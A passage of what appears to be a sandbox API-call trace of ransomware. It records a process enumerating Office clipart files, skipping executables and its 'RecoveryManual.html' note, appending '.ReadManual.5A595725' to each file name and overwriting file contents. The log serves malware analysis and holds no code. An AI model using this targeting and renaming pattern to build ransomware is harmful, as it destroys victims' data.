hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.766] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.766] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45ba) returned 0x2f0000 [0262.766] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.766] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38343528194) returned 1 [0262.767] CloseHandle (hObject=0x184) returned 1 [0262.767] SetSecurityInfo () returned 0x57 [0262.767] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.767] CloseHandle (hObject=0x194) returned 1 [0262.767] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0262.767] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00076_.WMF" | out: lpString1="FD00076_.WMF") returned="FD00076_.WMF" [0262.767] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.767] StrStrIW (lpFirst="FD00076_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.767] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.767] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.767] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" [0262.767] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.ReadManual.5A595725" [0262.767] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.ReadManual.5A595725") returned 87 [0262.767] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38343625499) returned 1 [0262.768] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0262.768] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.768] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11994) returned 1 [0262.768] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2eda, lpName=0x0) returned 0x184 [0262.769] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.774] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.775] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.777] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.777] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2eda) returned 0x2f0000 [0262.777] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.777] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38344585625) returned 1 [0262.777] CloseHandle (hObject=0x184) returned 1 [0262.777] SetSecurityInfo () returned 0x57 [0262.777] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.777] CloseHandle (hObject=0x194) returned 1 [0262.777] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0262.777] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00077_.WMF" | out: lpString1="FD00077_.WMF") returned="FD00077_.WMF" [0262.777] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.778] StrStrIW (lpFirst="FD00077_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.778] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.778] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.778] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" [0262.778] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.ReadManual.5A595725" [0262.778] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.ReadManual.5A595725") returned 87 [0262.778] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38344684555) returned 1 [0262.778] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0262.779] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.779] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30240) returned 1 [0262.779] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7620, lpName=0x0) returned 0x184 [0262.779] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.780] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.782] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.782] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7620) returned 0x2f0000 [0262.782] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.783] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38345139197) returned 1 [0262.783] CloseHandle (hObject=0x184) returned 1 [0262.783] SetSecurityInfo () returned 0x57 [0262.783] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.783] CloseHandle (hObject=0x194) returned 1 [0262.783] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0262.783] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00086_.WMF" | out: lpString1="FD00086_.WMF") returned="FD00086_.WMF" [0262.783] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.783] StrStrIW (lpFirst="FD00086_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.783] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.783] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.783] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" [0262.784] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.ReadManual.5A595725" [0262.784] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.ReadManual.5A595725") returned 87 [0262.784] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38345238352) returned 1 [0262.784] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0262.785] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.785] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29212) returned 1 [0262.785] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x721c, lpName=0x0) returned 0x184 [0262.785] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.786] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.786] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.787] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.787] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x721c) returned 0x2f0000 [0262.788] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.788] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38345678149) returned 1 [0262.788] CloseHandle (hObject=0x184) returned 1 [0262.788] SetSecurityInfo () returned 0x57 [0262.788] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.788] CloseHandle (hObject=0x194) returned 1 [0262.788] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0262.788] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00090_.WMF" | out: lpString1="FD00090_.WMF") returned="FD00090_.WMF" [0262.788] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.788] StrStrIW (lpFirst="FD00090_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.788] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.788] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.789] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.789] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" [0262.789] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.ReadManual.5A595725" [0262.789] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.ReadManual.5A595725") returned 87 [0262.789] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38345778248) returned 1 [0262.789] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0262.789] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.789] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14194) returned 1 [0262.789] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3772, lpName=0x0) returned 0x184 [0262.790] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.790] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.790] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.792] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.792] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3772) returned 0x2f0000 [0262.792] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.792] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38346086145) returned 1 [0262.792] CloseHandle (hObject=0x184) returned 1 [0262.792] SetSecurityInfo () returned 0x57 [0262.792] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.792] CloseHandle (hObject=0x194) returned 1 [0262.792] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0262.792] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00096_.WMF" | out: lpString1="FD00096_.WMF") returned="FD00096_.WMF" [0262.792] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.793] StrStrIW (lpFirst="FD00096_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.793] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.793] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.793] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" [0262.793] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.ReadManual.5A595725" [0262.793] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.ReadManual.5A595725") returned 87 [0262.793] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38346188903) returned 1 [0262.793] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0262.793] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.794] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37390) returned 1 [0262.794] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x920e, lpName=0x0) returned 0x184 [0262.794] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.794] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.794] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.796] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.796] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x920e) returned 0x2f0000 [0262.797] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.797] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38346618523) returned 1 [0262.797] CloseHandle (hObject=0x184) returned 1 [0262.798] SetSecurityInfo () returned 0x57 [0262.798] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.798] CloseHandle (hObject=0x194) returned 1 [0262.798] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, 